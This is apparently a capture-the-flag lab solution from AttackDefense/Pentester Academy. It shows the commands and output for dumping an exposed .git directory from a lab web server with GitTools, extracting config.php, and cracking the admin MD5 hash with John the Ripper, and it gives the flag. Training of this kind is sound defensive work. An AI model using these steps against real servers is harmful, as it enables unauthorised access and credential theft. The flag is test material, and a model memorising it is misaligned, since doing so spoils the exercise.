

## The image features a word cloud in the shape of the map of India. The words are arranged to fit the geographical outline. The most prominent words, shown in larger fonts, include "ATTACK", "DEFENSE", "LABS", "COURSES", "PENTESTER ACADEMY", "RED TEAM", "ACCESS POINT", "TOOL BOX", "TRAINING", "HACKER", "PATV", "WORLD-CLASS TRAINERS", "PENTESTING", and "HACKER PENTESTING". Other smaller words visible include "TEAM LABS", "PENTESTER ACADEMY", "ACCESS POINT", "TOOL BOX", "TRAINING", "HACKER", "PATV", "WORLD-CLASS TRAINERS", "PENTESTING", "HACKER PENTESTING", "TEAM LABS", "PENTESTER ACADEMY", "ACCESS POINT", "TOOL BOX", "TRAINING", "HACKER", "PATV", "WORLD-CLASS TRAINERS", "PENTESTING", "HACKER PENTESTING", "TEAM LABS", "PENTESTER ACADEMY", "ACCESS POINT", "TOOL BOX", "TRAINING", "HACKER", "PATV", "WORLD-CLASS TRAINERS", "PENTESTING", "HACKER PENTESTING". The colors used for the text are red, dark blue, and grey. The background is white. At the bottom center, there is a black rectangular box containing the text "by PentesterAcademy" in white font.

<b>Name</b>	Exposed Metadata Directory
<b>URL</b>	<a href="https://www.attackdefense.com/challengedetails?cid=1038">https://www.attackdefense.com/challengedetails?cid=1038</a>
<b>Type</b>	Code Repositories : Git

**Important Note:** This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic.

**Step 1:** Fetch .git directory from target web server using GitTools/Dumper tool.

**Command:** GitTools/Dumper/gitdumper.sh 192.237.74.3/.git/ .

```
root@attackdefense:~/tools#
root@attackdefense:~/tools# GitTools/Dumper/gitdumper.sh 192.237.74.3/.git/
#####
# GitDumper is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
#####

[*] Destination folder does not exist
[+] Creating ../.git/
[+] Downloaded: HEAD
[-] Downloaded: objects/info/packs
[+] Downloaded: description
[+] Downloaded: config
```

**Step 2:** Extract information from downloaded .git directory.

**Command:** GitTools/Extractor/extractor.sh ./ processed\_git

```
root@attackdefense:~/tools# GitTools/Extractor/extractor.sh ./ processed_git
#####
# Extractor is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
#####
[*] Destination folder does not exist
[*] Creating...
[+] Found commit: 96c93affe7946edce05a5ceec13ac480d8750af3
[+] Found file: /root/tools/processed_git/0-96c93affe7946edce05a5ceec13ac480d8750af3/README
[+] Found file: /root/tools/processed_git/0-96c93affe7946edce05a5ceec13ac480d8750af3/config.php
[+] Found file: /root/tools/processed_git/0-96c93affe7946edce05a5ceec13ac480d8750af3/functions.php
[+] Found file: /root/tools/processed_git/0-96c93affe7946edce05a5ceec13ac480d8750af3/index.php
[+] Found folder: /root/tools/processed_git/0-96c93affe7946edce05a5ceec13ac480d8750af3/js
[+] Found file: /root/tools/processed_git/0-96c93affe7946edce05a5ceec13ac480d8750af3/js/sorttable.js
[+] Found file: /root/tools/processed_git/0-96c93affe7946edce05a5ceec13ac480d8750af3/js/xoda.js
```

**Step 3:** Change the resulting directory and check the extracted files using tree command.

```
root@attackdefense:~/tools#
root@attackdefense:~/tools# cd processed_git/
root@attackdefense:~/tools/processed_git# ls -l
total 4
drwxr-xr-x 4 root root 4096 May 16 19:30 0-96c93affe7946edce05a5ceec13ac480d8750af3
root@attackdefense:~/tools/processed_git#
root@attackdefense:~/tools/processed_git#
```

```
root@attackdefense:~/tools/processed_git#  
root@attackdefense:~/tools/processed_git# tree  
.  
├── 0-96c93affe7946edce05a5ceec13ac480d8750af3  
│   ├── README  
│   ├── commit-meta.txt  
│   ├── config.php  
│   ├── functions.php  
│   ├── index.php  
│   ├── js  
│   │   ├── sorttable.js  
│   │   └── xoda.js  
│   ├── mobile.css  
│   ├── style.css  
│   ├── xd_icons  
│   │   ├── accdb.png  
│   │   └── ai.png
```

**Step 4:** Check the content of config.php file which will reveal the password hash to us.

```
root@attackdefense:~/tools/processed_git#  
root@attackdefense:~/tools/processed_git# cat 0-96c93affe7946edce05a5ceec13ac480d8750af3/config.php  
<?php  
$_users = array (  
    'admin' =>  
        array (  
            'password' => '143585abf6fcc8c2f0d8d2fb64dab4cf',  
            'privileges' => '1',  
        ),  
);  
define('ROOT_DIR', 'files/');  
define('META_DIR', '.xoda/');  
define('ANONYMOUS', '');  
define('EDITABLE', 'html htm txt js css php tex');  
define('IMG_EXTENSIONS', 'jpg jpeg png gif');  
define('IMG_WIDTH', '150');  
define('ICONS_DIR', 'xd_icons/');  
define('SHOW_FILESIZE', '1');
```

**Step 5:** Recover the plaintext password by cracking the hash with John The Ripper tool.

**Commands:**

```
echo "143585abf6fcc8c2f0d8d2fb64dab4cf" > hash
```



john --format=Raw-MD5 --wordlist=/root/wordlists/100-common-passwords.txt has

```
root@attackdefense:~/tools/processed_git#  
root@attackdefense:~/tools/processed_git# echo "143585abf6fcc8c2f0d8d2fb64dab4cf" > hash  
root@attackdefense:~/tools/processed_git#  
root@attackdefense:~/tools/processed_git# john --format=Raw-MD5 --wordlist=/root/wordlists/100-common-passwords.txt  
hash  
Created directory: /root/.john  
Using default input encoding: UTF-8  
Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])  
Warning: no OpenMP support for this hash type, consider --fork=8  
Press 'q' or Ctrl-C to abort, almost any other key for status  
madalina (?)  
1g 0:00:00:00 DONE (2019-05-16 19:31) 100.0g/s 10000p/s 10000c/s 10000C/s 242424..vagrant  
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably  
Session completed  
root@attackdefense:~/tools/processed_git#  
root@attackdefense:~/tools/processed_git#
```

**Flag:** madalina

## References:

1. Docker (<https://www.docker.com/>)
2. GitTools (<https://github.com/internetwache/GitTools>)